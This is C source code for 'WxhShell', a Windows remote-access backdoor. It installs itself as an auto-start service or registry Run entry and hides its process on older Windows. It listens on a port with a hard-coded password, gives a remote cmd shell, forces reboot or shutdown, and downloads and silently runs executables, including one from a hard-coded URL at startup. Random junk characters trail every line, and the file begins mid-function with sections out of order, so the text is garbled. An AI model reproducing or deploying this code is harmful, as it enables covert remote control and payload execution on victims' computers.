    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]m_x;5s $  
    if(Boot(SHUTDOWN)) ` wa;@p+j8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MlTC?Rp#  
    else { NuOA'e+i  
    closesocket(wsh); 3a:Hx| Yg  
    ExitThread(0); _2KIe(,;  
    } 'Agw~ &$  
    break; w|dfl *  
    } ss-W[|cHU  
  // 获取shell 9]Jv >_W*  
  case 's': { e&sH<hWR  
    CmdShell(wsh); e5mu-  
    closesocket(wsh); <^s31.&p  
    ExitThread(0); $yU 5WEX  
    break; Zk`y"[J  
  } I<}% L V  
  // 退出 lIyMNw  
  case 'x': { 9L$OSy|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -!!]1\S*Y  
    CloseIt(wsh); Cm;cmPPl  
    break; y)zZ:lyIq  
    } l/3=o}8q  
  // 离开 ^cZ< .d2  
  case 'q': { }NDl~5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GVhqNy   
    closesocket(wsh); KHx2$*E_  
    WSACleanup(); cs6oD!h  
    exit(1); ti61&)(  
    break; vom3 C9o  
        } 2hV -h  
  } ?|,:;^2l1  
  } NL]_;\ h  
K/9Jx(I,qL  
  // 提示信息 Cl '$*h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]QlW{J  
} *I :c@iCNJ  
  } 7V%P  
-sJ1q^;f@  
  return; !aSj1 2J  
} $e1.y b%  
9(t(sP_  
// shell模块句柄 ;6@sC[  
int CmdShell(SOCKET sock) HGAi2+&  
{ LqYyIbsvf  
STARTUPINFO si; Tdh(J",d  
ZeroMemory(&si,sizeof(si)); {|>'(iqH"w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; + yI$4MY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Muwlehuq  
PROCESS_INFORMATION ProcessInfo; 9mxg$P4  
char cmdline[]="cmd"; ]Y?Y$>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (:8a6=xQ  
  return 0; {m!5IR  
} u xyj6(  
7c"Csq/]I  
// 自身启动模式 OxDq LX  
int StartFromService(void) e6MBy\*n  
{ nA0%M1a  
typedef struct .@fA_8  
{ X$KTsG*  
  DWORD ExitStatus; %|JiFDjp  
  DWORD PebBaseAddress; JPF6zzl)  
  DWORD AffinityMask; *rTg>)  
  DWORD BasePriority; u<8b5An;  
  ULONG UniqueProcessId; tN<X3$aN  
  ULONG InheritedFromUniqueProcessId; /=YNkw5   
}   PROCESS_BASIC_INFORMATION; #czTX%+9(e  
A|LO!P,w  
PROCNTQSIP NtQueryInformationProcess; L ~'98C  
w71YA#cg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %|e)s_%XE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -E1-(TS  
d<d3j9u(#  
  HANDLE             hProcess; CNb(\]  
  PROCESS_BASIC_INFORMATION pbi; @'>RGaPV  
,c:NdY(,)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tC|?Kl7  
  if(NULL == hInst ) return 0; i.'"`pn_  
(o*YGYC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7d R?70Sz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d4ecF%R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nl[&rZ-&  
S3/%;=|  
  if (!NtQueryInformationProcess) return 0; |K_%]1*riC  
0Xb\w^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l<XYDb~op  
  if(!hProcess) return 0; 4GP?t4][  
|dQz(z&6{5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !-t w  
M~\dvJ$cH  
  CloseHandle(hProcess); XA<h,ONE?  
oi|N8a2R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y5F+~z }{  
if(hProcess==NULL) return 0; 7SS#V  
z=KDkpV  
HMODULE hMod; ]=t}8H  
char procName[255]; h,FU5iK|  
unsigned long cbNeeded; +rU{-`dy9'  
oc)`hg2=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1N(#4mE=  
0 aH&M4  
  CloseHandle(hProcess); .^*;hZ~4%  
#&T O(bk  
if(strstr(procName,"services")) return 1; // 以服务启动 V\m"Hl>VIU  
.O"a:^i  
  return 0; // 注册表启动 . .5~ x~O  
} ,z.l#hj,{  
2Snb+,o2  
// 主模块 .KKecdd?=  
int StartWxhshell(LPSTR lpCmdLine) r QiRhp  
{ MJ ch Z  
  SOCKET wsl; x)=l4A\  
BOOL val=TRUE; Eo2`Vr9g  
  int port=0; n4!RGq.}  
  struct sockaddr_in door; .iy>N/u  
!.,J;Qt  
  if(wscfg.ws_autoins) Install(); OW#0$%f  
6&0@k^7~  
port=atoi(lpCmdLine); %d];h  
<[\I`kzq  
if(port<=0) port=wscfg.ws_port; 8<"g&+T  
ZeuL*c \  
  WSADATA data; joskKik^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W]/J]O6  
lGr=I-=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pC:YT/J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n[0u&m8  
  door.sin_family = AF_INET; /V09Na,N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &u[{VR:  
  door.sin_port = htons(port); ;Tnid7:S  
N$kxf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F$\Da)Y  
closesocket(wsl); Y f!Oo  
return 1; ,93Uji[l  
} 3as=EYm  
d eT<)'"  
  if(listen(wsl,2) == INVALID_SOCKET) { j~>{P=_}  
closesocket(wsl); ^Zz^h@+  
return 1; :=y5713  
} zEU[u7%  
  Wxhshell(wsl); Q&.uL}R  
  WSACleanup(); 0&s a#g2  
m|W17LhW{  
return 0; BeLD`4K  
JD#q6 &|  
} #?w07/~L  
LH2B*8=^2  
// 以NT服务方式启动 =_#b .8K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sR1_L/.  
{ g8uqW1E^  
DWORD   status = 0; =oI[E~1<  
  DWORD   specificError = 0xfffffff; z(LR!hr  
0]bt}rh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fY9+m}$S$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SPE)db3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v^@)&,  
  serviceStatus.dwWin32ExitCode     = 0; D<69xT,  
  serviceStatus.dwServiceSpecificExitCode = 0; _l9fNf!@  
  serviceStatus.dwCheckPoint       = 0; W"Y)a|rG%  
  serviceStatus.dwWaitHint       = 0; y@7fR9hp<  
+Mq\3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P4Pc;8T@!  
  if (hServiceStatusHandle==0) return; SM8N*WdiU  
zEFS\nP}E  
status = GetLastError(); ns>$  
  if (status!=NO_ERROR) A .&c>{B7  
{ RJ@79L *#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?)-6~p 4N  
    serviceStatus.dwCheckPoint       = 0; Mc.{I"c@  
    serviceStatus.dwWaitHint       = 0; j%s,%#al  
    serviceStatus.dwWin32ExitCode     = status; 12U]=  
    serviceStatus.dwServiceSpecificExitCode = specificError; sMGo1pG(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3eE=>E4,  
    return; DWOf\[  
  } 3S3(Gl  
+"-l~`+<es  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V?S}%-a  
  serviceStatus.dwCheckPoint       = 0; je^VJ&ac  
  serviceStatus.dwWaitHint       = 0; qm!cv;}c1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lbrl CB+  
} `hO%(9V9  
56z>/`=  
// 处理NT服务事件,比如:启动、停止 ?@4Mt2Z\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A#cFO)"  
{ i'li;xUhZ  
switch(fdwControl) cxs@ph&Wk  
{ k)-+ZmMOh  
case SERVICE_CONTROL_STOP: 0RA#Y(IR  
  serviceStatus.dwWin32ExitCode = 0; ISC>]`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `[5xncZ-  
  serviceStatus.dwCheckPoint   = 0; |1!fuB A  
  serviceStatus.dwWaitHint     = 0; tV(iC~/  
  { ,5 ka{Q`K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ((A@VcX  
  } g ZtQtFi  
  return; Ob]\t/:%P  
case SERVICE_CONTROL_PAUSE: 'Hx#DhiFz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q,5PscE6&k  
  break; P}8hK   
case SERVICE_CONTROL_CONTINUE: *fc8M(]&d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yZ6WbI8n  
  break; n{!{,s  
case SERVICE_CONTROL_INTERROGATE: 39 }e }W"  
  break; ,;}   
}; 2*V%S/cck  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dPu27 "  
} _MC',p&  
Eh8GqFEM  
// 标准应用程序主函数 DQY1oM)D !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uuEvH<1  
{ *d C|X  
5 NYS@76o7  
// 获取操作系统版本 5Jo'h]  
OsIsNt=GetOsVer(); s?}qia\~m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5z0Sns  
A^,u l>!  
  // 从命令行安装 W,[ RB  
  if(strpbrk(lpCmdLine,"iI")) Install(); HD KF>S_S  
mbbhz,  
  // 下载执行文件 5V/&4$.U!  
if(wscfg.ws_downexe) { r5s{t4 ;Ch  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LmJjO:W}^y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~$6` e:n  
} 3iw3:1RZUZ  
d~QKZ&jf  
if(!OsIsNt) { acS~%^"<_  
// 如果时win9x,隐藏进程并且设置为注册表启动 sC\?{B0 r  
HideProc(); WDghlC6g!l  
StartWxhshell(lpCmdLine); d [l8qaD  
} B bmw[Qf\  
else @@\qso  
  if(StartFromService()) $O\m~r4  
  // 以服务方式启动 VQ('ejv}/  
  StartServiceCtrlDispatcher(DispatchTable); k?7"r4Vc)S  
else =Ya^PAj '}  
  // 普通方式启动 w&H>`l06  
  StartWxhshell(lpCmdLine); NE#`ZUr3  
WVyDE1K <  
return 0; `/ T.u&QF  
} 1;~s NSTo  
W^3 Jg2gE  
\"ogQnmz  
q0%QMut%  
=========================================== Pxf>=kY  
>6Pe~J5,:  
EgG3XhfS  
VvIUAn  
_"p(/H  
q(~jP0pj%  
" /F.<Gz;w  
?cWwt~N9  
#include <stdio.h> tF,`v{-up  
#include <string.h> -_9*BvS]R  
#include <windows.h> 3L==p`   
#include <winsock2.h> UUz{Qm%  
#include <winsvc.h> ;V~x[J|x  
#include <urlmon.h> olQP>sa  
W>!:K^8]  
#pragma comment (lib, "Ws2_32.lib") dn'|~zf.  
#pragma comment (lib, "urlmon.lib") Sm {Sq  
" l|`LjP5M  
#define MAX_USER   100 // 最大客户端连接数 [H\0 '  
#define BUF_SOCK   200 // sock buffer r[ k  
#define KEY_BUFF   255 // 输入 buffer cPZ\iGy  
F6 ~ ;f;  
#define REBOOT     0   // 重启 kO`!!M[Oo  
#define SHUTDOWN   1   // 关机 x_O:IK.>  
92Gfxld\  
#define DEF_PORT   5000 // 监听端口 uy2~<)  
Y!]a*==  
#define REG_LEN     16   // 注册表键长度 {w3<dfJ  
#define SVC_LEN     80   // NT服务名长度 J;XO1}9  
kJB:=iq/x$  
// 从dll定义API .7 j#F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uDG>m7(}/h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z L0Vx6Ph  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 38-kl,Vw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @>VX]Qe^X  
5I[:.o0  
// wxhshell配置信息 }#.OJub  
struct WSCFG { e%:vLE 9  
  int ws_port;         // 监听端口 |^Yz*r?BJ  
  char ws_passstr[REG_LEN]; // 口令 D@X"1X!F`G  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;C=d( pY  
  char ws_regname[REG_LEN]; // 注册表键名 -}xK> ["  
  char ws_svcname[REG_LEN]; // 服务名 y)|d`qC\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N:64Gko"K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >P(.yQ8&kL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Cwwz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f8K0/z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &b:y#gvJ:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z{BgAI,  
GNHXtu6  
}; uUp>N^mmVH  
Edc3YSg%;  
// default Wxhshell configuration 7?g({]  
struct WSCFG wscfg={DEF_PORT,  IN6L2/Q  
    "xuhuanlingzhe", eI`%J3BxR  
    1, (5`(H.(  
    "Wxhshell", H;a) `R3  
    "Wxhshell", D dwFKc&  
            "WxhShell Service", *>aVU'  
    "Wrsky Windows CmdShell Service", @ukL! AV?Y  
    "Please Input Your Password: ", -h|[8UG^b  
  1, |4BD  
  "http://www.wrsky.com/wxhshell.exe", oJ5n*[qUI  
  "Wxhshell.exe" '_DB0_Dp  
    }; GZ5DI+3  
\COoU("  
// 消息定义模块 (JOR: 1aT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z! /_H($  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yt_tAm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6&i])iH  
char *msg_ws_ext="\n\rExit."; 7^.g\Kt?  
char *msg_ws_end="\n\rQuit."; j?tE#  
char *msg_ws_boot="\n\rReboot..."; +#>nOn(B  
char *msg_ws_poff="\n\rShutdown..."; 6Yva4Lv  
char *msg_ws_down="\n\rSave to "; 6C"${}S F`  
jN= !Q&^i[  
char *msg_ws_err="\n\rErr!"; , DuyPBAms  
char *msg_ws_ok="\n\rOK!"; OP(om$xm  
ae3 Gn }tf  
char ExeFile[MAX_PATH]; 0ZD)(ps|  
int nUser = 0; =<(6yu_  
HANDLE handles[MAX_USER]; `v(!IBP|  
int OsIsNt; :zIB3nT^  
/3Y"F"`M.  
SERVICE_STATUS       serviceStatus; ~_CZ1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HYdt3GtJ?  
k;Qm%B  
// 函数声明 b:O_PS5h  
int Install(void); \qW^AD(it<  
int Uninstall(void); V@G|2ZI  
int DownloadFile(char *sURL, SOCKET wsh); UaXIrBc  
int Boot(int flag); ;\13x][  
void HideProc(void); T{3-H(-gA  
int GetOsVer(void); NP\/9 8|1  
int Wxhshell(SOCKET wsl); 4%yeEc ;z  
void TalkWithClient(void *cs); R Ee~\n+P^  
int CmdShell(SOCKET sock); /55 3v;l<  
int StartFromService(void); =yJc pj  
int StartWxhshell(LPSTR lpCmdLine); k'"R;^~xg  
W>CG;x{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o<s~455m/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M_$;"NS+}  
j~in%|^  
// 数据结构和表定义 [ p0_I7  
SERVICE_TABLE_ENTRY DispatchTable[] = 6m(+X M S  
{ |1!OwQax  
{wscfg.ws_svcname, NTServiceMain}, ^5!"[RB\  
{NULL, NULL} ?*q-u9s9  
}; rV%;d[LB  
ki `ur%h  
// 自我安装 <gvgr4@^yR  
int Install(void) ~O /B  
{ ? R[GSS1  
  char svExeFile[MAX_PATH]; >A L^y( G  
  HKEY key; ucLh|}jJ5  
  strcpy(svExeFile,ExeFile); h=au`o&CG  
SrdCLT8  
// 如果是win9x系统,修改注册表设为自启动 "5sUE!)f  
if(!OsIsNt) { 0x,4H30t(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }lx'NY~(W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }vF=XA  
  RegCloseKey(key); p7Yb8#XfU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +q432ZG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7S_"h*Ud  
  RegCloseKey(key); Hnvs{KC`  
  return 0; o(i?_4 E  
    } @-1VN;N  
  } ^!(tc=sr  
} Hs.5@l  
else { ,I f9w$(z  
W\ARCcTQ  
// 如果是NT以上系统,安装为系统服务 ))6iVgSE$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kQ6YQsJ.*  
if (schSCManager!=0) J<iiA:&J  
{ gyMy;}a  
  SC_HANDLE schService = CreateService i~DLo3  
  ( Ao9=TC'v$'  
  schSCManager, Zqg AgN@  
  wscfg.ws_svcname, bwjLMWEVq  
  wscfg.ws_svcdisp, t/x]vCP,2D  
  SERVICE_ALL_ACCESS, b]Lp_t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :7qJ[k{g  
  SERVICE_AUTO_START, >6zWOYd  
  SERVICE_ERROR_NORMAL, ,f~8:LHq  
  svExeFile, i[e-dT:*R  
  NULL, K;g6V!U  
  NULL, b:*( f#"q  
  NULL, "? 5@j/ e`  
  NULL, gEq";B%?  
  NULL l2 #^}-  
  ); > lK:~~1  
  if (schService!=0) 7I@@}A  
  { `v Ebm Xb  
  CloseServiceHandle(schService); .uo:fxbd2  
  CloseServiceHandle(schSCManager); 9aKCO4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ba.oIc  
  strcat(svExeFile,wscfg.ws_svcname); 4':U rJ+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EhIa31>X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WWIQ6EJO  
  RegCloseKey(key); d[e;Fj!  
  return 0; 7lQ:}&  
    } `uqsYY`V  
  } HO8x:2m  
  CloseServiceHandle(schSCManager); RjHKFB2  
} G9c2kX.Bf  
} +,0 :L :a  
='.G,aJ9  
return 1; 0yKPYA*j  
} ;u?H#\J,  
hL/  
// 自我卸载 lH oV>k  
int Uninstall(void) c6F8z75U  
{ \8-PCD  
  HKEY key; m-|~tve  
hjoxx F\_  
if(!OsIsNt) {  gm@%[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dO[pm0  
  RegDeleteValue(key,wscfg.ws_regname); nc>Ae`"(  
  RegCloseKey(key); 'miY"L:| O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]0@ J)Z09  
  RegDeleteValue(key,wscfg.ws_regname); q;qY#wD@  
  RegCloseKey(key); JiHk`e`  
  return 0; eRwm>l"fVV  
  } ^Ea^t.c}_  
} i<uk}  
} P*8DM3':  
else { )@.6u9\  
UYOR@x #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lJXihr  
if (schSCManager!=0) <nT).S>+  
{ x5nw/''[2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JdA3O{mT)  
  if (schService!=0) !PY.F nZ  
  { Ru^j~Cj5  
  if(DeleteService(schService)!=0) { @D&}ZV=J  
  CloseServiceHandle(schService); ePwoza  
  CloseServiceHandle(schSCManager); 0 8 aZU  
  return 0; wWUt44:0O  
  } ;Quk%6;[N  
  CloseServiceHandle(schService); y@Ga9bI7  
  } YumHECej  
  CloseServiceHandle(schSCManager); hj-#pL-t  
} 3SWO_  
} %'i`Chc^!;  
/N(Ol WEp  
return 1; .UJjB}4$f  
}  Wfyap)y  
M8' GbF=1  
// 从指定url下载文件 q6 Rr?  
int DownloadFile(char *sURL, SOCKET wsh) 0hx EI  
{ niP/i  
  HRESULT hr; Sg}]5Mn`  
char seps[]= "/"; p4'Qki8Hd  
char *token; h; 8^vB y  
char *file; )o@-h85";  
char myURL[MAX_PATH]; }CXL\, ;  
char myFILE[MAX_PATH]; _^pg!j[Fy}  
#i~2C@]  
strcpy(myURL,sURL); hA_Y@&=W  
  token=strtok(myURL,seps); YF<;s^&@u  
  while(token!=NULL) QO%#.s  
  { nd1%txIsr  
    file=token; ZSg["`  
  token=strtok(NULL,seps); `(7HFq<N  
  } cu V}<3&  
8HymkL&F  
GetCurrentDirectory(MAX_PATH,myFILE); aI0}E O  
strcat(myFILE, "\\"); ^(8(z@y  
strcat(myFILE, file); /iekww^54  
  send(wsh,myFILE,strlen(myFILE),0); L[FNr&  
send(wsh,"...",3,0); \%D/]"@r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h q& 2o  
  if(hr==S_OK) hJ1:#%Qe.  
return 0; #4<Rs|K  
else *w;=o}`  
return 1; 89{@2TXR  
_~b$6Nf!83  
} (qM(~4|`  
=W~K_jE5lo  
// 系统电源模块 O*7Gl G  
int Boot(int flag) /_G^d1T1?L  
{ #RwqEZ  
  HANDLE hToken; qhiO( !jK  
  TOKEN_PRIVILEGES tkp; OAiip,  
g0BJj=  
  if(OsIsNt) { s&7,gWy}BE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X3j<HQcK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j3`"9bY  
    tkp.PrivilegeCount = 1; !(EJ.|LH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #YMU}4=:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N6BFs(  
if(flag==REBOOT) { | D jgm7$*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dkRG4 )~g  
  return 0; :b_R1ZV|  
} KvrcO#-sL  
else { .(8sa8{N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V:w=h>z8  
  return 0; mnM!^[|z  
} C4jq T  
  } aI6fPQe  
  else { P`K?k<  
if(flag==REBOOT) { &91U(Go  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k*8 ld-O  
  return 0; HjO-6F#s  
} loLN ~6  
else { L[Dr[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FM3DJ?\L-  
  return 0; aQK>q. t  
} )`ZTu -|  
} jHxg(]  
KF"&9nB  
return 1; >6(91J  
} )NwIEk>Tf  
|hprk-R*OH  
// win9x进程隐藏模块 k2xOu9ncEj  
void HideProc(void) '}D$"2I*  
{ ^=nJ,-(h_  
rU /V ~;#%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kR0d]"dr  
  if ( hKernel != NULL ) >e7w!v]  
  { ;n Pjyu'g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =2z9Aq{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?{ "_9g9  
    FreeLibrary(hKernel); il \q{Y o  
  } :Q\{LBc  
rN'')n/F  
return; _O-ZII~  
} E r6'Ig|U  
hYS*J908  
// 获取操作系统版本 oD]riA>jC  
int GetOsVer(void) :Z@!*F  
{ S;vE %  
  OSVERSIONINFO winfo; Z[DiLXHL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;c'9Xyl-  
  GetVersionEx(&winfo); 1R1DK$^c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +a%Vp!y  
  return 1; 75t\= 6#  
  else M8 E8r  
  return 0; ?2b*F Qe  
} HY,+;tf2r  
Q-X<zn  
// 客户端句柄模块 S1<mO-  
int Wxhshell(SOCKET wsl) c8cV{}7Kb  
{ ]Hp o[IF  
  SOCKET wsh; fXPD^}?Ux4  
  struct sockaddr_in client; e7<//~W7W  
  DWORD myID; =U6%Wdth  
f*VBSg[`  
  while(nUser<MAX_USER) BTwLx-p9t  
{ m8q3Pp  
  int nSize=sizeof(client); 7[wHNJ7)r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |Go?A/'  
  if(wsh==INVALID_SOCKET) return 1; qFo'"z`84  
)19As8rL/o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LV'@JFT-  
if(handles[nUser]==0) 9Se7 1  
  closesocket(wsh); ^ $M@yWX6  
else HeagT(rN'  
  nUser++; @Fp-6J  
  } !vU$^>zo~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L-  -  
%=:*yf>}  
  return 0; / -ebx~FX&  
} q][{?  
*[Ld\lRj  
// 关闭 socket +X4O.6Mn  
void CloseIt(SOCKET wsh) l^s\^b=W  
{ qHGXs@*M&  
closesocket(wsh); y`?{ 2#1H  
nUser--; paUlp7x  
ExitThread(0); tdTD!'  
} V[R33NYG  
YlW~  
// 客户端请求句柄 LLn,pI2fL{  
void TalkWithClient(void *cs) $'I+] ;  
{ 6B)3SC  
}E5oa\ 1u  
  SOCKET wsh=(SOCKET)cs; 2 0Xqs,  
  char pwd[SVC_LEN]; 'E2\e!U/  
  char cmd[KEY_BUFF]; e Ir|%  
char chr[1]; W|K"0ab  
int i,j; :/N/u5.]  
&C eG4_Mi  
  while (nUser < MAX_USER) { S4j`=<T,  
j +j2_\  
if(wscfg.ws_passstr) { /P~@__XN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (vCMff/ Y1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i2ap]  
  //ZeroMemory(pwd,KEY_BUFF); 4WV'\R+m  
      i=0; VtX9}<Ch~  
  while(i<SVC_LEN) { #On EQ:  
lP>}9^7I!  
  // 设置超时 Vy-EY*r|  
  fd_set FdRead; 8Z TN  
  struct timeval TimeOut; r)P^CZm  
  FD_ZERO(&FdRead); ;}!hgyq  
  FD_SET(wsh,&FdRead); g">E it*[  
  TimeOut.tv_sec=8; =Rl?. +uE  
  TimeOut.tv_usec=0; ), >jBYMJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7 tOOruiC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |s&jWM$  
<$#b3F"I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (U"Ub;[7  
  pwd=chr[0]; Y}_J@&:  
  if(chr[0]==0xd || chr[0]==0xa) { WPBn?vb0<  
  pwd=0; HS{a^c%  
  break; W]!{Y'G  
  } re9*q   
  i++; Q:I2\E  
    } j';V(ZY&BB  
6#S}EaWf  
  // 如果是非法用户,关闭 socket i5  x[1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bI)ItC_wf!  
} LRO'o{4$E  
Y6T1_XG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fk%yi[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mX78Av.z!  
N=J$+  
while(1) { xjHOrr OQ  
~7$E\w6  
  ZeroMemory(cmd,KEY_BUFF); 5!2^|y4r  
*Mf;  
      // 自动支持客户端 telnet标准   oVPtA@  
  j=0; <eU28M?\  
  while(j<KEY_BUFF) { FNpMu3Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GE`:bC3  
  cmd[j]=chr[0]; ,f`435R  
  if(chr[0]==0xa || chr[0]==0xd) { k r0PL)$  
  cmd[j]=0; #hEN4c[Ex  
  break; W+ tI(JZ  
  } 0MK|spc  
  j++; G1 ?."  
    } +8e~jf3E1  
| ,bCYK  
  // 下载文件 si.A"\bm  
  if(strstr(cmd,"http://")) { i)nb^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3,~M`~B  
  if(DownloadFile(cmd,wsh)) Si,[7um  
